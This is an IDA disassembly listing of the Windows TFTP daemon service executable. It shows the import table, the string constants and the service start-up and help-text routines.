;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E592406BE2839039271A9162700E7BBC

; File Name   :	u:\work\e592406be2839039271a9162700e7bbc_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	1000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003310 (  13072.)
; Section size in file		: 00003400 (  13312.)
; Offset to raw	data for section: 00000600
; Flags	60000020: Text Executable Readable
; Alignment	: default
;
; Imports from ADVAPI32.dll
;

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
					; DATA XREF: sub_10037BF+20r
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA	*lpServiceStartTable)
		extrn StartServiceCtrlDispatcherA:dword	; CODE XREF: sub_1001570+DBp
					; DATA XREF: sub_1001570+DBr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
					; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_10037BF+143p
					; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE	__stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
		extrn RegisterServiceCtrlHandlerA:dword	; CODE XREF: sub_1001665+4Ap
					; DATA XREF: sub_1001665+4Ar
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE	hServiceStatus,	LPSERVICE_STATUS lpServiceStatus)
		extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
					; sub_1001665+F7p ...

;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: sub_1001570+EDp
					; DATA XREF: sub_1001570+EDr
; DWORD	__stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR	lpDst, DWORD nSize)
		extrn ExpandEnvironmentStringsA:dword ;	CODE XREF: sub_1003910+34p
					; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
		extrn GetLocalTime:dword ; CODE	XREF: sub_1002A3D+35p
					; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
					; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_10027E1+83p
					; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
		extrn SetEvent:dword	; CODE XREF: sub_1001E73+36p
					; DATA XREF: sub_1001E73+36r
; DWORD	__stdcall ResumeThread(HANDLE hThread)
		extrn ResumeThread:dword ; CODE	XREF: HandlerProc+38p
					; DATA XREF: HandlerProc+38r
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_1001570+E5p
					; sub_1001665:loc_1001762p ...
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: sub_1001665+210p
					; sub_1001A91+1ABp
					; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState,	LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_1001665+7Ep
					; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn InitializeCriticalSection:dword ;	CODE XREF: sub_10018DB+12p
					; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
		extrn HeapCreate:dword	; CODE XREF: sub_10019F0+23p
					; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword ; CODE	XREF: sub_1001A1F+68p
					; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap,	DWORD dwFlags, LPVOID lpMem)
		extrn HeapFree:dword	; CODE XREF: sub_1001A1F+58p
					; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_1001A1F+49p
					; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword ; CODE	XREF: sub_1001A1F+Bp
					; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
		extrn InterlockedIncrement:dword ; CODE	XREF: sub_1001A91+27Cp
					; sub_1001A91+2C1p
					; DATA XREF: ...
; DWORD	__stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles,	BOOL bWaitAll, DWORD dwMilliseconds)
		extrn WaitForMultipleObjects:dword ; CODE XREF:	sub_1001A91+158p
					; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_1001A91+93p
					; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
		extrn ResetEvent:dword	; CODE XREF: sub_1001A91+75p
					; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: .text:01001D94p
					; sub_100205A+4Ep
					; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
					; .text:01001D9Bp
					; DATA XREF: ...
; DWORD	__stdcall SuspendThread(HANDLE hThread)
		extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
					; DATA XREF: HandlerProc+50r

;
; Imports from MSVCRT.dll
;
		extrn __imp__initterm:dword ; DATA XREF: _inittermr
		extrn __getmainargs:dword ; CODE XREF: .text:01003B18p
					; DATA XREF: .text:01003B18r
		extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p
					; DATA XREF: .text:01003AD8r
		extrn _lseek:dword	; CODE XREF: sub_1002F31+1F0p
					; sub_1002F31+20Ap
					; DATA XREF: ...
		extrn _close:dword	; CODE XREF: sub_1002953+11p
					; DATA XREF: sub_1002953+11r
		extrn _read:dword	; CODE XREF: sub_10027E1+63p
					; DATA XREF: sub_10027E1+63r
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_1001FA6+30p
					; sub_100205A+93p ...
; void *__cdecl	realloc(void *Memory, size_t NewSize)
		extrn realloc:dword	; CODE XREF: sub_1001FA6+55p
					; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
		extrn fclose:dword	; CODE XREF: sub_1001E73+CDp
					; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_10018DB+75p
					; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
		extrn time:dword	; CODE XREF: sub_1001665+114p
					; HandlerProc+8p
					; DATA XREF: ...
		extrn _chdir:dword	; CODE XREF: sub_1001665+19Fp
					; sub_1001665+1BEp
					; DATA XREF: ...
; int *__cdecl errno()
		extrn _errno:dword	; CODE XREF: sub_1001665+1A7p
					; sub_10027E1+7Dp ...
		extrn _mkdir:dword	; CODE XREF: sub_1001665+1AEp
					; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl	fopen(const char *Filename, const char *Mode)
		extrn fopen:dword	; CODE XREF: sub_1001665+1DBp
					; DATA XREF: sub_1001665+1DBr
; char *__cdecl	ctime(const time_t *Time)
		extrn ctime:dword	; CODE XREF: sub_1001665+1F7p
					; HandlerProc+19p
					; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
		extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
		extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r
		extrn __set_app_type:dword ; CODE XREF:	.text:01003A7Fp
					; DATA XREF: .text:01003A7Fr
		extrn __p__fmode:dword	; CODE XREF: .text:01003A9Cp
					; DATA XREF: .text:01003A9Cr
		extrn __p__commode:dword ; CODE	XREF: .text:01003AAAp
					; DATA XREF: .text:01003AAAr
		extrn _adjust_fdiv:dword ; DATA	XREF: .text:01003AB8r
; int printf(const char	*Format, ...)
		extrn printf:dword	; CODE XREF: sub_1001570+52p
					; sub_1001570+5Fp ...
		extrn __p___initenv:dword ; CODE XREF: .text:01003B33p
					; DATA XREF: .text:01003B33r
		extrn __imp__XcptFilter:dword ;	DATA XREF: _XcptFilterr
; void __cdecl exit(int	Code)
		extrn _exit:dword	; CODE XREF: .text:01003B7Ap
					; DATA XREF: .text:01003B7Ar
		extrn _open:dword	; CODE XREF: sub_1002F31+1A6p
					; sub_100333A+1B9p
					; DATA XREF: ...
		extrn _write:dword	; CODE XREF: sub_100373A+5Bp
					; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int	Code)
		extrn exit:dword	; CODE XREF: sub_1001570+CFp
					; sub_1001665+C0p ...

;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type,	int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP	g, DWORD dwFlags)
		extrn WSASocketA:dword	; CODE XREF: sub_100205A+17p
					; DATA XREF: sub_100205A+17r
; int __stdcall	WSAGetLastError()
		extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
					; sub_1001A91+12Bp ...
; int __stdcall	WSAStartup(WORD	wVersionRequested, LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: sub_1001665+A6p
					; DATA XREF: sub_1001665+A6r
; int __stdcall	WSAEventSelect(SOCKET s, HANDLE	hEventObject, __int32 lNetworkEvents)
		extrn WSAEventSelect:dword ; CODE XREF:	sub_100188E+Cp
					; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
		extrn htons:dword	; CODE XREF: sub_1001A91+1D2p
					; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped,	LPDWORD	lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
		extrn WSAGetOverlappedResult:dword ; CODE XREF:	sub_1001A91+18Ep
					; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
		extrn ntohs:dword	; CODE XREF: sub_1001A91+11Ep
					; sub_1002A3D+40p ...
; int __stdcall	WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD	dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen,	LPWSAOVERLAPPED	lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
		extrn WSARecvFrom:dword	; CODE XREF: sub_1001A91+10Fp
					; DATA XREF: sub_1001A91+10Fr
; int __stdcall	ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
		extrn ioctlsocket:dword	; CODE XREF: sub_1001A91+2Ap
					; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
		extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
					; DATA XREF: sub_1001F54+1Cr
; int __stdcall	closesocket(SOCKET s)
		extrn closesocket:dword	; CODE XREF: sub_1001F54+13p
					; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_1002024+4p
					; sub_1002F31+64p ...
; int __stdcall	bind(SOCKET s, const struct sockaddr *name, int	namelen)
		extrn bind:dword	; CODE XREF: sub_100205A+7Ap
					; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const	char *name, const char *proto)
		extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
					; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int	protocol)
		extrn socket:dword	; CODE XREF: sub_1002F31+22Ep
					; sub_100333A+1EBp
					; DATA XREF: ...
; int __stdcall	sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
		extrn sendto:dword	; CODE XREF: sub_100230A+B6p
					; sub_1002A3D+65p ...

;
; Imports from iphlpapi.dll
;
; DWORD	__stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED	overlapped)
		extrn __imp_NotifyAddrChange:dword ; DATA XREF:	NotifyAddrChanger
; DWORD	__stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable,	PULONG pdwSize,	BOOL bOrder)
		extrn __imp_GetIpAddrTable:dword ; DATA	XREF: GetIpAddrTabler

;
; Imports from ntdll.dll
;
; void *__cdecl	memmove(void *Dst, const void *Src, size_t Size)
		extrn memmove:dword	; CODE XREF: sub_100273D+72p
					; DATA XREF: sub_100273D+72r
; char *__cdecl	strncpy(char *Dest, const char *Source,	size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_1003910+24p
					; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
		extrn isupper:dword	; CODE XREF: sub_100333A+86p
					; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
		extrn tolower:dword	; CODE XREF: sub_1002F31+88p
					; sub_100333A+95p
					; DATA XREF: ...
		extrn RtlUpdateTimer:dword ; CODE XREF:	sub_1002A3D+BCp
					; sub_1002B5E+114p ...
		extrn RtlDeleteTimer:dword ; CODE XREF:	sub_1002901+27p
					; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1,	const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_10023D8+54p
					; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_10023D8+81p
					; sub_10023D8+F2p
					; DATA XREF: ...
; char *__cdecl	itoa(int Val, char *DstBuf, int	Radix)
		extrn _itoa:dword	; CODE XREF: sub_10023D8:loc_1002597p
					; DATA XREF: sub_10023D8:loc_1002597r
		extrn RtlDeregisterWaitEx:dword	; CODE XREF: sub_1001F54+Ap
					; sub_1002901+35p
					; DATA XREF: ...
		extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
		extrn RtlCreateTimerQueue:dword	; CODE XREF: sub_10018DB+81p
					; DATA XREF: sub_10018DB+81r
		extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
					; sub_10018DB+D6p
					; DATA XREF: ...
		extrn RtlCreateTimer:dword ; CODE XREF:	sub_10018DB+A8p
					; sub_1002F31+34Dp ...

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 100117Ch
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 37ECADD7h, 0
		dd 4, 110h, 0
		dd 4C00h, 0
		dd 37ECADD7h, 0
		dd 3, 310h, 0
		dd 4D10h, 0
		dd 37ECADD7h, 0
		dd 6, 2	dup(0)
		dd 5020h, 0
		dd 37ECADD7h, 0
		dd 2, 1Ah, 0
		db 90h
		db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS	db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
		db ' 22:17:18',0Ah,0
; char aOWritableFiles[]
aOWritableFiles	db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
; char aWritable[]
aWritable	db 'writable',0         ; DATA XREF: sub_1001570+BFo
					; sub_10037BF+121o
		align 4
; char aOReadableFiles[]
aOReadableFiles	db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
; char aReadable[]
aReadable	db 'readable',0         ; DATA XREF: sub_1001570+B1o
					; sub_10037BF+F1o
		align 4
; char aOValidmastersK[]
aOValidmastersK	db ' o ValidMasters   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
; char aMasters[]
aMasters	db 'masters',0          ; DATA XREF: sub_1001570+A3o
					; sub_10037BF+C1o
; char aOValidclientsK[]
aOValidclientsK	db ' o ValidClients   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
; char aClients[]
aClients	db 'clients',0          ; DATA XREF: sub_1001570+95o
					; sub_10037BF+8Eo
; char aTheseKeysAreSh[]
aTheseKeysAreSh	db 'These keys are shell patterns with * and ? (see examples above):',0Ah
					; DATA XREF: sub_1001570+8Do
		db 0
		align 4
; char aOStartdirector[]
aOStartdirector	db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
; char ValueName[]
ValueName	db 'directory',0        ; DATA XREF: sub_1001570+7Fo
					; sub_10037BF+5Co
		align 4
; char aRegistryKeyNam[]
aRegistryKeyNam	db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
					; DATA XREF: sub_1001570+76o
; char SubKey[]
SubKey		db 'System\CurrentControlSet\Services\tftpd\parameters',0
					; DATA XREF: sub_1001570+71o
					; sub_10037BF+13o
		align 10h
; char aTftpd_logfileI[]
aTftpd_logfileI	db ' TFTPD_LOGFILE     is %s',0Ah ; DATA XREF: sub_1001570+68o
		db 0Ah,0
		align 4
; char Filename[]
Filename	db 'tftpd.log',0        ; DATA XREF: sub_1001570+63o
					; sub_1001665+1D6o
		align 4
; char aTftpd_default_[]
aTftpd_default_	db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
		align 4
; char Source[]
Source		db '\tftpdroot\',0      ; DATA XREF: sub_1001570+55o
					; sub_1003910+1Eo
a?		db '-?',0               ; DATA XREF: sub_1001570+10o
		align 4
; char Mode[]
Mode		db 'a+',0               ; DATA XREF: sub_1001665+1D1o
		align 4
; char name[]
name		db 'tftp',0             ; DATA XREF: sub_100205A+31o
		align 10h
; char proto[]
proto		db 'udp',0              ; DATA XREF: sub_100205A+2Co
aOptionNegotiat	db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
		align 10h
aNoSuchUser	db 'No such user',0     ; DATA XREF: .data:01005CDCo
		align 10h
aFileAlreadyExi	db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe	db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe	db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
		align 10h
aDiskFullOrAllo	db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
		align 4
aAccessViolatio	db 'Access violation',0 ; DATA XREF: .data:01005CC8o
		align 4
aFileNotFound	db 'File not found',0   ; DATA XREF: .data:01005CC4o
		align 4
aErrorUndefined	db 'Error undefined',0  ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize		db 'tsize',0            ; DATA XREF: sub_10023D8:loc_100251Ao
		align 10h
; char aTimeout_0[]
aTimeout_0	db 'timeout',0          ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2		db 'blksize',0          ; DATA XREF: sub_10023D8+4Eo
aTimeout	db 'Timeout',0          ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe	db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
					; sub_100333A+201o ...
		align 10h
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
					; sub_100333A+1A0o
		align 4
aMalformedFileN	db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
					; sub_100333A+159o
aOctet		db 'octet',0            ; DATA XREF: sub_1002F31+D2o
					; sub_100333A:loc_100341Fo
		align 10h
aNetascii	db 'netascii',0         ; DATA XREF: sub_1002F31+9Fo
					; sub_100333A:loc_10033E1o
		align 4
asc_100155C:				; DATA XREF: sub_1003910+7Fo
		unicode	0, <\>,0
dword_1001560	dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_1001570	proc near		; CODE XREF: .text:01003B4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 1
		push	esi
		jle	loc_1001646
		mov	eax, [esp+4+arg_4]
		mov	esi, offset a?	; "-?"
		mov	eax, [eax+4]


loc_1001588:				; CODE XREF: sub_1001570+34j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_10015AA
		test	cl, cl
		jz	short loc_10015A6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_10015AA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_1001588


loc_10015A6:				; CODE XREF: sub_1001570+22j
		xor	eax, eax
		jmp	short loc_10015AF
; ---------------------------------------------------------------------------


loc_10015AA:				; CODE XREF: sub_1001570+1Ej
					; sub_1001570+2Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_10015AF:				; CODE XREF: sub_1001570+38j
		test	eax, eax
		jnz	loc_1001646
		mov	esi, ds:printf
		push	offset Format	; " ======================================"...
		call	esi ; printf
		pop	ecx
		push	offset Source	; "\\tftpdroot\\"
		push	offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is	%s\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset Filename	; "tftpd.log"
		push	offset aTftpd_logfileI ; " TFTPD_LOGFILE     is	%s\n\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset SubKey	; "System\\CurrentControlSet\\Services\\tftpd"...
		push	offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset ValueName ; "directory"
		push	offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aTheseKeysAreSh ; "These	keys are shell patterns	with * an"...
		call	esi ; printf
		pop	ecx
		push	offset aClients	; "clients"
		push	offset aOValidclientsK ; " o ValidClients   keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aMasters	; "masters"
		push	offset aOValidmastersK ; " o ValidMasters   keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aReadable ; "readable"
		push	offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aWritable ; "writable"
		push	offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh	; Code
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_1001646:				; CODE XREF: sub_1001570+6j
					; sub_1001570+41j
		push	offset ServiceStartTable ; lpServiceStartTable
		call	ds:StartServiceCtrlDispatcherA	; StartServiceCtrlDispatcherA
		test	eax, eax
		jnz	short loc_100165B
		call	ds:GetLastError


loc_100165B:				; CODE XREF: sub_1001570+E3j
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
sub_1001570	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_1001665	proc near		; DATA XREF: .data:ServiceStartTableo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		push	offset HandlerProc ; lpHandlerProc
		push	offset ServiceName ; "Tftpd"
		mov	ServiceStatus.dwServiceType, 30h
		mov	ServiceStatus.dwCurrentState, 2
		mov	ServiceStatus.dwControlsAccepted, ebp
		mov	ServiceStatus.dwCheckPoint, 1
		mov	ServiceStatus.dwWaitHint, 4E20h
		mov	ServiceStatus.dwWin32ExitCode, ebp
		mov	ServiceStatus.dwServiceSpecificExitCode, ebp
		call	ds:RegisterServiceCtrlHandlerA	; RegisterServiceCtrlHandlerA
		cmp	eax, ebp
		mov	hServiceStatus,	eax
		jz	loc_1001762
		mov	esi, ds:SetServiceStatus
		mov	edi, offset ServiceStatus
		push	edi		; lpServiceStatus
		push	eax		; hServiceStatus
		call	esi ; SetServiceStatus
		cmp	eax, ebp
		jz	loc_1001762
		mov	ebx, ds:CreateEventA
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		call	ebx ; CreateEventA
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		mov	hHandle, eax
		call	ebx ; CreateEventA
		cmp	hHandle, ebp
		mov	hObject, eax
		jz	short loc_100171C
		cmp	eax, ebp
		jz	short loc_100171C
		push	offset stru_1006140 ; lpWSAData
		push	101h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1001735
		call	ds:WSAGetLastError	; WSAGetLastError


loc_100171C:				; CODE XREF: sub_1001665+96j
					; sub_1001665+9Aj ...
		push	1Fh
		call	sub_1001E73
		push	1		; Code
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_100172C:				; CODE XREF: sub_1001665+218j
					; sub_1001665+224j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_1001735:				; CODE XREF: sub_1001665+AFj
		push	edi		; lpServiceStatus
		mov	ServiceStatus.dwCurrentState, 4
		push	hServiceStatus	; hServiceStatus
		mov	ServiceStatus.dwControlsAccepted, 7
		mov	ServiceStatus.dwCheckPoint, ebp
		mov	ServiceStatus.dwWaitHint, ebp
		call	esi ; SetServiceStatus
		cmp	eax, ebp
		jnz	short loc_100176A


loc_1001762:				; CODE XREF: sub_1001665+57j
					; sub_1001665+6Ej
		call	ds:GetLastError
		jmp	short loc_100171C
; ---------------------------------------------------------------------------


loc_100176A:				; CODE XREF: sub_1001665+FBj
		push	9
		pop	ecx
		xor	eax, eax
		mov	edx, offset Time
		mov	edi, edx
		rep stosd
		push	edx		; Time
		call	ds:time	; time
		pop	ecx
		mov	edx, [esp+10h+arg_0]
		dec	edx
		mov	ebx, (offset dword_1005E07+1)
		jz	short loc_10017F3
		mov	eax, [esp+10h+arg_4]
		lea	eax, [eax+edx*4]
		mov	[esp+10h+arg_0], eax


loc_1001797:				; CODE XREF: sub_1001665+18Cj
		mov	eax, [esp+10h+arg_0]
		mov	eax, [eax]
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_10017F3
		movsx	ecx, byte ptr [eax+1]
		sub	ecx, 64h
		jz	short loc_10017C9
		dec	ecx
		jz	short loc_10017BD
		dec	ecx
		jnz	short loc_10017E9
		mov	dword_1005DD8, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017BD:				; CODE XREF: sub_1001665+147j
		mov	dword_1005DD4, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017C9:				; CODE XREF: sub_1001665+144j
		lea	edi, [eax+2]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_10017E9:				; CODE XREF: sub_1001665+14Aj
					; sub_1001665+156j ...
		sub	[esp+10h+arg_0], 4
		dec	edx
		cmp	edx, ebp
		ja	short loc_1001797


loc_10017F3:				; CODE XREF: sub_1001665+125j
					; sub_1001665+13Bj
		call	sub_10037BF
		call	sub_1003910
		mov	esi, ds:_chdir
		push	ebx
		call	esi ; _chdir
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_100182E
		call	ds:_errno	; _errno
		push	ebx
		call	ds:_mkdir	; _mkdir
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C
		push	ebx
		call	esi ; _chdir
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C


loc_100182E:				; CODE XREF: sub_1001665+1A5j
		cmp	dword_1005DD8, ebp
		jz	short loc_1001857
		push	offset Mode	; "a+"
		push	offset Filename	; "tftpd.log"
		call	ds:fopen	; fopen
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		mov	File, eax
		jnz	short loc_1001857
		mov	dword_1005DD8, ebp


loc_1001857:				; CODE XREF: sub_1001665+1CFj
					; sub_1001665+1EAj
		push	offset Time	; Time
		call	ds:ctime	; ctime
		pop	ecx
		call	sub_10018DB
		call	sub_10019F0
		push	0FFFFFFFFh	; dwMilliseconds
		push	hHandle		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		cmp	eax, ebp
		jz	loc_100172C
